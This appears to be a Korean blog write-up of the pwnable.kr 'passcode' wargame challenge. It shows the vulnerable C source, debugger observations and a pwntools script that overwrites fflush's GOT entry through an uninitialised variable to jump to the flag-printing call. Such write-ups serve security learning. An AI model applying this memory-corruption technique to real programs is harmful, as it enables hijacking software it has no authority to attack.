시스템 해킹/pwnable

[pwnable.kr] passcode

Lhaaan 2024. 5. 9. 10:42

이번 문제는 passcode 문제이다... pwnable을 다시 시작하면서 다 까먹어버려서 간단하게 ret를 system 함수 주소로 덮는 문제겠거니 하고 봤는데 아니었다...

 

scanf에서 passcode1을 &passcode1으로 받지 않는 다는 점과 name을 100바이트 받으니까 다른 배열을 덮을 수 있겠지라는 막연한 생각으로 시작했다.

 

코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

 

name을 100바이트 사용하는데 96바이트 "a"로 주고 4바이트를 "b"로 줬을 때 passcode1에 값이 "b" * 4로 설정되는 것을 알 수 있었다. 근데 ret는 덮지 못한다는 함정.... (오랜만에 하니까 진짜 감이 더럽게 안잡힌다)

 

 

1. 0x080485c5 브포 걸고 시작

- ebp-0x10과  0x528e6을 비교하는 것을 알 수 있다.

 

2. if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); }

- 338150은 0x528e6이니까 첫번째 cmp 부분이 passcode1을 비교하는 것을 알 수 있고 ebp-0x10을 확인해 보니 0x62626262로 보아 b가 잘 들어가 있는 것을 알 수 있다.

 

여기까지 왔는데, passcode2를 값을 넣어도 &passcode2로 받는게 아니기 때문에 값이 제대로 안들어가짐. 더미 값이 삽입됨 여기서 멘붕

 

대체 뭘까..하다가 힌트를 얻기위해 다른 사람의 롸업을 좀 참고했다.

 

정답은 fflush의 got를 overwrite하는 것이었다. 보자마자 생각이 안난다..

 

name에 끝 4바이트를 fflush의 got 주소를 주고  scanf로 system 함수 실행 부분을 넣어준다. 끝.

구조: name[96] + name[4](fflush_got) + system 함수 주소

0x080485e3 부분이 "/bin/cat flag" 받으면서 시작되는 부분이겠지..

 

익스 짤때 주의해야할 것은 0x080485e3 이거 int형으로 줘야함.

from pwn import *

context.log_level = "debug"
p = process("/home/passcode/passcode")

payload = b"a" * 96
payload += p32(0x0804a004)

p.sendline(payload)

p.sendline(str(int(0x080485e3)))
p.interactive()

 

'시스템 해킹 > pwnable' 카테고리의 다른 글

[pwnable.kr] input  (0) 2024.05.09
[pwnable.kr] dragon  (0) 2023.07.07
[pwnable.kr] Collision  (0) 2023.05.21
[pwnable.kr] fd  (0) 2023.05.21
[DreamHack] oob1  (0) 2023.05.21